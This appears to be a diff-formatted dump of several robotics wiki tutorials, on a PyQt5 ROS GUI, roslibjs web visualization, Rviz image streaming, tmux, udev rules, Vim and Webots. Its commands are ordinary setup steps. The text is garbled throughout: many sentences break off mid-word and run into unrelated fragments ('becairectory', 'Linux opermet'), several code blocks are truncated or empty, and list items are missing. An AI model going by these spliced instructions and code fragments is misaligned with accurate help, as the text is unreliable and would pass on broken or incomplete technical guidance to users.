task_timer.start(1000) # modify to match system needs - - self.task_times_label = QLabel("Task Times", self) - self.grid.addWidget(self.task_times_label, 2, 2, 2, 1) - self.task_times_label.setStyleSheet("border : 3px solid black") - self.task_times_label.setFont(QFont('Times', 10)) - self.task_times_label.setAlignment(Qt.AlignCenter) -``` - -### E-Stop Button - -The E-Stop button is a ROS publisher that will publish to a topic which can then be used by your system's code to stop the robot. - -You need to change the following code -``` -self.estop_pub = rospy.Publisher('/mrsd/estop', Bool, queue_size=10) -### System Status - -The system status block subscribes to the following topic. -``` -self.status_sub = rospy.Subscriber('/mrsd/status', String, self.status_callback) -``` -Thus your main system should publish to a `/mrsd/status` topic. Ideally, your state machine will have a topic publisher that this application can subscribe to. - -### System Log - -This block is left for you to customize and display any other useful information. It subscribes to - -``` -self.system_log_sub = rospy.Subscriber('/mrsd/system_log', String, self.system_log_callback) -``` - -and you need to add some code to format the output. For example, this section could be used to display some of these information - -1. How many peppers you have harvested -2. How many people you have saved -3. What process are up next - - -### Visualization Block - -The visualization block can be used to display any results visually. Use cases can be - -1. Robot localization within the map -2. 3D point clouds -3. Object detection results - -### Entire code -
- pyqt-ros.py - - ``` - # importing libraries -from PyQt5.QtWidgets import * -from PyQt5.QtGui import * -from PyQt5.QtCore import * -import sys, emoji, rospy -from PyQt5.QtGui import QPixmap - -# system level requirements -total_demo_time = 60*20 # assuming SVD is 20 minutes -one_task_max = 60 # assuming each task is 60 seconds -color_change_times = [0.25, 0.5, 0.75, 1.0] -color_change_colors = ['green', 'yellow', 'orange', 'red'] - -gui_x, gui_y = 700, 600 - -class Window(QMainWindow): - def __init__(self): - super().__init__() - self.setWindowTitle("Python ") - self.win = QWidget() - self.grid = QGridLayout() - - self.UiComponents() - self.win.setLayout(self.grid) - self.win.setGeometry(0, 0, gui_x, gui_y) - self.win.show() - - - # self.status_sub = rospy.Subscriber('/mrsd -window = Window() -sys.exit(App.exec()) - ``` - -
- - -## Summary -This article provides a walkthrough of basic code that uses PyQt5 for development of a GUI that is integrated with ROS. It highlights parts that need to be modified in your system level ROS code as well as suggests possible modifications. - -## See Also: -- [PyQt5 Official Documentation](https://doc.qt.io/qtforpython-5/) - -## Further Reading -- [PyQt5 Official Documentation](https://doc.qt.io/qtforpython-5/) - - -/wiki/tools/rosbags-matlab/ ---- -date: 2017-08-15 -title: Rosbags In MATLAB ---- -Sometimes you would rather analyze a rosbag in MATLAB rather than within the ROS environment. This page describes how to set up the Matlab infrastructure and includes a script example. - -The following steps provide the parsing setup: -1. Type roboticsAddons and install the [Robotics Syst -Basic rosbag parsing is as follows: -1. Run `rosbag(filepath)` on the [rosbag](https://www.mathworks.com/help/robotics/ref/rosbag.html) file of interest -2. [Select](](https://www.mathworks.com/help/robotics/ref/select.html)) only the topic of interest with `select(bag,'Topic','')` -3. For straightforward values in a message, run `timeseries(bag_select,'')` -4. For more complicated messages, run `readMessages` - -[This script](/wiki/tools/assets/parseRosbag.m) parses Rosbags and creates a `.mat` and `.csv` file from it given a custom definition. The particular message referenced is an aggregation of multiple messages, hence the recursive structure. - - -/wiki/tools/roslibjs/ ---- -date: 2020-02-03 -title: Web-Based Visualization using ROS JavaScript Library ---- - -This tutorial will give you an introduction to the ROS JavaScript Library (`roslibjs`) and how you can use it in your own projects to interface with web-based platforms or GUIs. - -There exists a suite of ROS JavaScript libraries developed by [https://robotwebtools.org/](https://robotwebtools.org/) such as `roslibjs`, `ros2djs`, and `ros3djs`. The `roslibjs` library is the core JavaScript library for interacting with ROS from the browser. It uses web sockets to connect with `rosbridge` and provides publishing, subscribing, service calls, `actionlib`, TF, URDF parsing, and other essential ROS functionality. The `ros2djs` and `ros3djs` are libraries built upon these to support more advanced HTML3 based plug ins to visualize occupancy grids, URDF models, all of the standard ROS visualization markers, point clouds, and many more types of messages. - -The scope of this tutorial is only to introduce you to the `roslibjs` library as the procedure and general work-flow remains the same for the other libraries as well. - -## Setting Up ROS Bridge Server -First, we need a way to convert ROS messages to a format that can be used in web applications. To do this, we will use the `rosbridge_suite` package. Rosbridge provides a JSON API to ROS functionality for non-ROS programs. There are a variety of front ends that interface with rosbridge, including a WebSocket server for web browsers to interact with. To setup rosbridge, run the following commands. - -``` -sudo apt-get install ros-kinetic-rosbridge-server -``` - -Now, you can just start the rosbridge server, which will automatically make all the existing topics available to your web application. - -``` -roslaunch rosbridge_server rosbridge_websocket.launch -``` - -You can also add it into your launch file and customize the port number. - -``` - - - - - -``` - -## Setting up your Web Application - -It is very simple to develop and setup a web application on your local machine. All you need to do is create folder for your application and create file within it name `index.html` which will have all the functionality for application. Additionally you can create multiple folder for your libraries and assets to organize your web app. - -To test your web app, simply open the file `index.html` in your web browser. Note that, there are some functionality that might not work when you directly open the HTML file, one may need to start a HTTP server to make that work. In order to that just use Python's in-built HTTP server. - -``` -cd your/web/app/folder -python3 -m http.server 8000 -``` - -Navigate to `127.0.0.1:8000` in your browser to open your web application. - -## Basic ROS JavaScript Interface - -Once you the setup ready, we can now go ahead developing your application. A website basically consists of three main components, the structure defined by HTML, the functionality implemented by JavaScript (in our case), and the style or the looks of your website defined by CSS. The tutorial assumes that you already have the HTML/CSS part developed for application or you can get a free dashboard template online of your choice. - -Let us now move on to interfacing your web app with ROS JavaScript in `index.html`. - -1. First, we need to connect to our ROS bridge server setup earlier with the same port number. - -``` -var ros = new ROSLIB.Ros({ - url : 'ws://localhost:9090' - }); - - ros.on('connection', function() { - console.log('Connected to websocket server.'); - }); - - ros.on('error', function(error) { - console.log('Error connecting to websocket server: ', error); - }); - - ros.on('close', function() { - console.log('Connection to websocket server closed.'); - }); -``` - -2. Now, we can subscribe to any topic and the library will help us parse us the message and raise a callback for us. - -``` -var listener = new ROSLIB.Topic({ - ros : ros, - name : '/listener', - messageType : 'std_msgs/String' - }); - -listener.subscribe(function(message) { - console.log('Received message on ' + listener.name + ': ' + message.data); - listener.unsubscribe(); - }); -``` - -You can view the message data on your web console. You can access all your ROS message fields from the `message` object including the header and timestamps of the messages like `message.header.stamp`. - -3. That's it! You have developed your first basic Hello World application. Your entire `index.html` would look something like this and your HTML layouts would go inside the `body` tag. - -``` - - - - - - - - - - - - -

Simple roslib Example

-

Check your Web Console for output.

- - -``` - -## Some More ROS JavaScript Interface for Developing GUIs - -You can do more advanced stuff such as subscribing to images, Rviz visualizations (see [this tutorial for more information](https://roboticsknowledgebase.com/wiki/tools/stream-rviz)), and monitor diagnostics from your nodes. - -To visualize and update an image stream live within your web app, first you need a placeholder in HTML for your image. Define it as follows within the `body` tag with an unique ID to update it later via JavaScript. - -``` - -``` - -Now, you can create a topic handler and subscribe to your image from ROS. Note that, if you want to integrate image streams with `roslibjs`, the ROS socket bridge expects images in compressed format. See this section [here](https://roboticsknowledgebase.com/wiki/tools/stream-rviz/compressing-image-streams) for more details on setting up image compression for your topics. - -``` -var image_topic = new ROSLIB.Topic({ - ros: ros, name: '/stream1/image/compressed', - messageType: 'sensor_msgs/CompressedImage' -}); -``` - -Now, all you need to do is update the `src` field of your image with the data received from your ROS topic. - -``` -image_topic.subscribe(function(message) { - document.getElementById('my_image').src = "data:image/jpg;base64," + message.data; - image_topic.unsubscribe(); -}); -```epository [here](https://github.com/deltaautonomy/delta_viz/blob/master/delta_viz_app/index.html). - -![](/assets/images/tools/deltaviz.jpg) - -## See Also -- A [tutorial](https://roboticsknowledgebase.com/wiki/tools/stream-rviz) on setting up virtual cameras and lighting in Rviz and stream these images which can be used in your GUI or for other applications within ROS. - -## Further Reading -- There is a lot more you can do with `roslibjs`. Check out the official wiki [here](http://wiki.ros.org/roslibjs/Tutorials/BasicRosFunctionality) for more advanced tutorials. -- Refer to the [`delta_viz`](https://github.com/deltaautonomy/delta_viz) repository developed by Delta Autonomy, which is a web-based dashboard GUI that implements all of what's covered in this tutorial. - -## References -- http://wiki.ros.org/roslibjs/Tutorials/BasicRosFunctionality - - -/wiki/tools/solidworks/ ---- -date: 2017-08-15 -title: Getting started with Solidworks ---- - -[SolidWorks](https://www.solidworks.com/) is a 3D Computer Aided Design program commonly used for mechanical design. The following guide introduces a tutorial series from SolidWorks, in addition to offering some basic tips for setting up your environment. - -## Tutorial Series -[This tutorial series](https://www.solidworks.com/sw/resources/solidworks-tutorials.htm) guides through the steps of making a simple part to an assembly and finally a drawing. Simulation and sustainability are advanced topics which are not needed for designing basic parts or mounts, not designed for heavy load bearing. - -## General Guidelines: -A basic knowledge of Solidworks is needed to understand -5) Use symmetry about part origin when possible. - -6) Use a rational order of operations, especially if other people may be using your parts. Reasons for transgressing this rule would be to accomplish a workaround that because of a bug or limitation cannot be done a better way. - -7) Use of sketch relations rather than explicit dimensions (for example to center a hole on a block, use a midpoint relation to a diagonal) when the "design intent" allows. - -8) Fully defined sketches behave better than under defined, and defined using relations which are relative to existing geometry are better than explicit dimensions, especially when changes are expected. - - -15) To find out what mates, dependencies, etc. that are associated with your features right click on the top level assembly and click on view dependencies in the menu. This will then organize all of your mates and other dependencies under which feature it is associated with. - -16) When something in a drawing or part will not rebuild, even after making changes, press CTRL-Q at the same time to force SolidWorks to rebuild everything in the model or drawing. - -17) Create and analyse the drawing of the assembly, with sectional views and all dimensions, before 3D printing or laser cutting anything. - - -/wiki/tools/stream-rviz/ ---- -date: 2020-02-03 -title: Stream Rviz Visualizations as Images ---- - -This tutorial will help you stream live Rviz visualizations as `Image` topics in ROS. The tutorial will cover how one can setup multiple virtual cameras and virtual lighting within the Rviz environment. Streaming Rviz visualizations has several applications such as, one can record multiple views simultaneously for off-line analysis or these image streams can be incorporated into Python or web-based GUIs. - -## Contents -1. [Setting up Virtual Cameras in Rviz](https://roboticskn - -First, we begin with setting up virtual cameras in Rviz. As per convention, for any given camera frame, the positive Z-axis points in the direction of camera view. - -1. Download the Rviz camera stream plug-in ROS package into the `src` directory of your workspace. - -``` -mkdir -p catkin_ws/src -cd catkin_ws/src -git clone https://github.com/lucasw/rviz_camera_stream -cd .. -catkin_make -``` - -2. Now, we first need to setup a camera with its extrinsics and intrinsics properties. We can use `static_transform_publisher` to setup the camera extrinsics with respect to some world frame (`map` here) and publish a the `camera_info` topic which will have the intrinsic properties of the camera along with the width and the height of the image we want to publish. Refer to the documentation of `camera_info` message [here](http://docs.ros.org/melodic/api/sensor_msgs/html/msg/CameraInfo.html) for more details on setting up the parameters. The following example is for a camera with image size `640x480` with focal length `500.0`, principal point at `(320, 240)`, equal aspect ration, and rectified image without distortions. - - - -``` - -To add multiple cameras, just replicate the code above (the `group` block), replacing the camera name everytime. - -3. Next, open up Rviz by running `rviz` is your terminal and click on `Add` to add a new display type. Select the `CameraPub` plug-in from the list. Now in the display tab, under the plug-in properties, select the camera name (`camera1` in our case) and enter a new topic name for the image to be published. - -4. That's it! Now you can use `image_view` node or add a new `Image` in Rviz itself to visualize the image stream. - -``` -rosrun image_view image_view image:=/your/topic/name -``` - -It might be tricky to setup the extrinsics of the camera and position it properly at first. I would first recommend to comment out the `static_transform_publisher` block in your launch file and manually set up the transform on the fly to position the camera. The `tf_publisher_gui` node from `uos_tools` package come in handy. - -Launch the TF publisher GUI as follows. - -``` -rosrun tf_publisher_gui tf_publisher_gui _parent_frame:=/map _child_frame:=/camera1 -``` - -This should open a GUI with sliders which help you set the translation and rotations for you camera. Once you are satisfied with the setup, plug these values back into your original launch file and publish the static transform. - -## Setting up Virtual Lighting in Rviz - -By default, Rviz has a single spot light focused on whatever the user is currently viewing in the Rviz GUI. For example if you are viewing a robot model from the front view, the URDF mesh would be well light. However, if we want to simultaneously view the same robot model from the top or the side view, the URDF mesh would have shadows on it and will not be well lit. This is important in our case, becairectory of your workspace. - -``` -cd catkin_ws/src -git clone https://github.com/mogumbo/rviz_lighting -cd .. -catkin_make -``` - -1. To setup this up in Rviz, follow the similar step as earlier to add a new display type in Rviz by selecting `AmbientLight`. For our purpose, we will just use the `Directional` light and set the frame the same as on of our camera frames (`camera1`) under the properties of the plug-in. - -## Compressing Image Streams -d make streaming more efficient. This is an optional step and usually this maybe beneficial only if you have multiple camera publishers from Rviz. - -If you want to integrate these image stream with `roslibjs`, the ROS socket bridge expects images in compressed format and this step would be mandatory (refer [See Also](https://roboticsknowledgebase.com/wiki/tools/stream-rviz/see-also)). - -To compress images, just add the following block into your launch file. - -``` - - -``` - -You can now subscribed to the compressed image topic in your ROS nodes. Note that the message type will now be [`sensor_msgs/CompressedImage`](http://docs.ros.org/melodic/api/sensor_msgs/html/msg/CompressedImage.html). - -## See Also -- A [tutorial](https://roboticsknowledgebase.com/wiki/tools/roslibjs) on ROS JavaScript library used to develop web-based GUIs which integrates image streams from Rviz. - -## Further Reading -- Refer to the [`delta_viz`](https://github.com/deltaautonomy/delta_viz) repository developed by Delta Autonomy, which is a web-based dashboard GUI that implements all of what's covered in this tutorial. - -## References -- https://github.com/lucasw/rviz_camera_stream -- https://github.com/mogumbo/rviz_lighting -- http://docs.ros.org/melodic/api/sensor_msgs/html/msg/CameraInfo.html -- http://docs.ros.org/melodic/api/sensor_msgs/html/msg/CompressedImage.html -- https://github.com/deltaautonomy/delta_viz - - -/wiki/tools/tmux/ ---- -date: 2017-08-15 -title: TMUX ---- -TMUX is a useful tool to open multiple tabs in the terminal especially while using SSH. -[This video](https://www.youtube.com/watch?v=BHhA_ZKjyxo) give a nice over view to use TMUX. - -# TMUX Options Reference -Once you are familair with using TMUX. The following summary of the shortcuts will be useful: -Now a Ctrl-b options reference: -- Basics - - ? get help -- Session management - - s list sessions - - $ rename the current session - - d detach from the current session -- Windows - - c create a new window - - , rename the current window - - w list windows - - % split horizontally - - " split vertically - - n change to the next window - - p change to the previous window - - 0 to 9 select windows 0 through 9 -- Panes - - % create a horizontal pane - - " create a vertical pane - - h move to the left pane. * - - j move to the pane below * - - l move to the right pane * - - k move to the pane above * - - k move to the pane above * - - q show pane numbers - - o toggle between panes - - } swap with next pane - - { swap with previous pane - - ! break the pane out of the window - - x kill the current pane -- Miscellaneous - - t show the time in current pane - -# Resources -Here are some further resources that may be useful: - 1. http://www.sitepoint.com/tmux-a-simple-start/ - - https://robots.thoughtbot.com/a-tmux-crash-course - - https://danielmiessler.com/study/tmux/ - - -/wiki/tools/udev-rules/ ---- -date: 2017-08-15 -title: udev Rules ---- - -[udev](https://en.wikipedia.org/wiki/Udev) is the system on Linux opermet they are on separate lines. - -## Arduino -With Arduinos, the process is fairly simple: - -1. Determine the device's automatic serial port assignment. This can be done by doing the following: - - Leave the Arduino unplugged. - - Run `ls /dev` from the command line - - Plug in the Arduino. - - Run `ls /dev` from the command line and see which new item appeared. It will probably have a name like `ttyACM*`. -2. Find the device's USB parameters using the device name from the prior step: - ``` - udevadm info -a -n /dev/ttyACM* - ``` -3. Create a file in `/etc/udev/rules.d` called `99-usb-serial.rules` -Enter the following in the file, replacing the parameters with those found in the prior step: -``` -SUBSYSTEM=="tty", ATTRS{idVendor}=="2341", ATTRS{idProduct}=="0042", ATTRS{serial}=="85334343638351804042", SYMLINK+="arduino" -``` -4. Unplug and reconnect the Arduino. It should now show up as a link in the `/dev` folder called `arduino`. You can check this with `ls -l /dev` - -## Other Devices -With devices other than Arduino, you may need to use different parameters to identify the device, or you may need to perform an extra step to get the device's serial ID. Generally, you will have to figure this out on a device-by-device basis. For instance, the udev rule for a Hokuyo looks like this: -``` -ATTRS{manufacturer}=="Hokuyo Data Flex for USB", ATTRS{idVendor}=="15d1", MODE="0666", GROUP="dialout", PROGRAM="/opt/ros/indigo/env.sh rosrun hokuyo_node getID %N q", SYMLINK+="sensors/hokuyo_%c" -``` -The Hokuyo requires a special program (`getID`) to get the serial ID. It can be downloaded as part of the `hokuyo_node` ROS package. - - -/wiki/tools/vim/ ---- -date: 2017-08-15 -title: Vim text editor ---- -Vim text editor greatly helps speed-up your programming workflow. It has a fairly big learning curve but the shortcuts and macro functions can easily double your productivity. Vim is also modular, enabling you to easily customize it. -## Resources -Links to help you get started: -1. Vim Cheat Sheet: http://www.viemu.com/a_vi_vim_graphical_cheat_sheet_tutorial.html -- Online interactive tutorial: http://www.openvim.com/ -- Screencasts which are useful for improving your programming workflow: http://vimcasts.org/episodes/ -- A detailed step-by-step tutorial into the Vim world: http://www.swaroopch.com/notes/vim/ -- A list of the most popular Vim plugins: http://vimawesome.com/ - - -/wiki/tools/visualization-simulation/ ---- -date: 2019-11-12 -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. You should set the article's title: -title: Making Field Testing Easier Through Visualization and Simulation -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- -If you have an outdoor system, field testing is going to make or break your validation demonstration. No amount of testing in the lab will expose as many issues with your system as 10 minutes of testing outside. Picking up your system and taking it somewhere else is difficult but you have to do it. Therefore, you want to make your time field testing as effective as possible and as painless as possible. You can -## Visualization -If you are using ROS, one of your first steps should be to set up an RVIZ configuration specific to your project. Your project is going to require a unique configuration to properly visualize it depending on your specific project details. So th -``` -The code snippet above is launching an rviz node, from the rviz package. It then passes an argument which includes the absolute path to the file `my_project.rviz`, contained in the `params` directory of the ROS package `my_project`. For this to run properly, the package `my_project` needs to built on your computer, and the `devel/setup.bash` needs to have been sourced in your terminal. - -## Simulation -Now that you have configured a visualizer for improved debugging, we will discuss some simple steps you can use to set up a simulator and how to use it to make your life easier. You will need to pick a simulator that matches the needs of your project and unfortunately, we will not be covering that level of simulator discussion this wiki entry. First I want to emphasize why it is important to simulate. As mentio - -   - - - - - -``` -The above code represents a launch file, with parameter `sim` whose default file is false. You can set its value when launching on the command line by appending the option `sim:=true`. The node being launched from the `robot_localization` package which is also a good resource. Finally, we are remapping the topic `gps/fix`, if `sim` is set to false, the topic will be set remapped to `/navsat/fix` and if `sim` is set to true it will be remapped to `rtk_gps` - -## Conclusion -Using these simple tools can save you hours during the course of your project. Just remember, these are not a substitution for field testing; they are tools to make field testing more efficient. - -## Further Reading -- Robot Localization - - -/wiki/tools/webots/ ---- -date: 2019-12-17 -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. You should set the article's title: -title: Webots -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- -[Webots](https://cyberbotics.com/) is a free open source robot simulator used for a variety of purposes and applications. It was previously a paid software developed by Cyberbotics and became open source in December 2018. It is still being developed by Cyberbotics with association from Industry and Academia. It is compatible with ROS 1 and ROS 2 and runs on Linux, Windows and macOS. - -## Installation -Webots works out of the box by downloading the right version at this [link](https://cyberbotics.com/download). -### Ubuntu -- Extract the downloaded file to a location of your prefernce. -- Go to that location in your Linux terminal. -- \[Optional: If using ROS with Webots\] Source devel for your catkin workspace `source \path\to\catkin_ws\devel.bash` -- Run the following commands: - ``` - cd webots - ./webots - ``` - -## ROS Integration -Here are the two ways you can add ROS integration to webots - -1. Standard ROS Controller - - Webots comes with inbuilt ROS controller which generates ROS topic out of the box based on the elements(robots, sensors, etc) added in the environment. For example, if the stereo sensor is added to the robot and controller selected is “ROSeld in robot node to ROS. - - Some of the examples code can be found at [link] (https://github.com/cyberbotics/webots/tree/master/projects/languages/ros/webots_ros) - -2. Custom ROS Controller - - While using standard ROS controller has plug and play benefits, to gain total control over the data that is published from the webots, using custom ROS controller is preferable - - Custom ROS controller can be written in both cpp and python. - - Simply change the controller to `your_controller.py` and `import rospy in ` and all the rospy commands should work as-is. - - Make sure you start the webots instance after sourcing the ROS workspace otherwise rospy and other ROS messages won’t be accessible inside webots. - - All the information regarding elements in the simulation are accessible through custom function which can be further converted to ROS topics and published accordingly - -For more information on using ros, you can refer to [link](https://cyberbotics.com/doc/guide/using-ros) -For a sample ROS integration, refer [link](https://cyberbotics.com/doc/guide/tutorial-8-using-ros) - - -## Controllers -### Robot Controller -- The Robot Controller is the primary controller used to control all the things related to the robot. To start using ros controller you need to import the following library - ```irectionalLight`. In a while loop, set the vector in the field `direction` to the appropriate values. - -You can also manipulate other fields of the light such as `intensity`, `color`, `ambientIntensity` and `castShadows`. - -## Surface Map -You can add surface for the robot environment from CSV as follows -Webots provides elevation grid field inside SOLID which can be used to define the heightmap - - If you are planning to use `w x h` surface map, set xDimension to w and ngly in the other parts of the code. - -## Sensors -### Multisense S21 (Depth camera) -- Webots provides Multisense S21 as depth camera which can be added to the extension slot in robots. Multisense S21 is actually made of left/right camera and range finder to replicate the depth camera. Here are the steps to add the sensors - - Go to extension slot in the robot node - -### Position sensors (Encoders) -Webots provides Position sensors which can be used both for rotational and translational motion. One of the best use of position sensor is to use it as encoders with motor. Here are the steps to add Position sensors -- Go to motor node inside `.proto` file and add followings lines inside your devices section - ``` - PositionSensor { - name "" - } - -## Summary -This tutorial gives you a brief idea of how to get started with webots and be able to control the basic and some intermediate features for your simulation.